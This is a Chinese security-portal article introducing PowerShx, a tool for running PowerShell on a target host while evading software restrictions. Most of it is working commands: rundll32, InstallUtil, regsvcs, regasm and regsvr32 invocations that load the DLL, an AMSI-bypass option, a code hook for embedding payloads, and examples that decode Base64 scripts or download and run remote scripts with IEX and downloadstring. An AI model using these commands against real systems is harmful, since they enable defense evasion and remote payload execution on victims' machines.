freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

如何使用PowerShx摆脱软件限制运行PowerShell
2021-11-18 16:34:43

关于PowerShx

PowerShx是一款功能强大的PowerShell软件,在该工具的帮助下,广大研究人员可以在目标主机上摆脱任何软件的限制从而执行PowerShell代码。

PowerShx是PowerShdll项目的一个扩展项目,并且提供了AMSI绕过和运行PS Cmdlet的功能。

功能介绍

使用exe、installuitl.exe、regsvcs.exe、regasm.exe、regsvr*32.exe来运行PowerShel;

在不需要exe或powershell_ise.exe的情况下运行PowerShell;

AMSI绕过功能;

直接通过命令行工具或PowerShell文件运行PowerShell脚本;

导入PowerShell模块和执行PowerShell Cmdlet;

工具依赖

.Net 4

工具使用

.dll版本

rundll32
rundll32 PowerShx.dll,main -e                           需要运行的PS脚本
rundll32 PowerShx.dll,main -f <path>                    以参数形式传递和运行脚本
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>    加载一个脚本并运行一个PS cmdlet
rundll32 PowerShx.dll,main -w                    在一个新的窗口中开启一个交互式终端
rundll32 PowerShx.dll,main -i                            开启一个交互式终端
rundll32 PowerShx.dll,main -s                           尝试绕过AMSI
rundll32 PowerShx.dll,main -v                        在终端中输出执行结果

替代选项

x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
    regsvr*32 /s  /u PowerShx.dll -->Calls DllUnregisterServer
    regsvr*32 /s PowerShx.dll --> Calls DllRegisterServer

.exe版本

PowerShx.exe -i                          开启一个交互式终端
PowerShx.exe -e                         需要运行的PS脚本
PowerShx.exe -f <path>                  以参数形式传递和运行脚本
PowerShx.exe -f <path> -c <PS Cmdlet>     加载一个脚本并运行一个PS cmdlet
PowerShx.exe -s                         尝试绕过AMSI

嵌入Payload

广大研究人员可以通过更新“Common”项目中的“Common.Payloads.PayloadDict”数据目录来嵌入Payload,并在PsSession.cs -> Handle()方法中调用Payload。下面的例子中演示了如何在Handle()方法中调用Payload:

private void Handle(Options options)
{
  // Pre-execution before user script
  _ps.Exe(Payloads.PayloadDict["amsi"]);
}

工具使用样例

1、运行Base64编码的脚本

rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

注意:我们需要使用[System.Text.Encoding]::Unicode对Empire Stager进行解码。

2、运行Base64编码的脚本

rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

项目地址

PowerShx:GitHub传送门

参考资料

https://github.com/p3nt4/PowerShdll

# powershell # PowerShell脚本
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录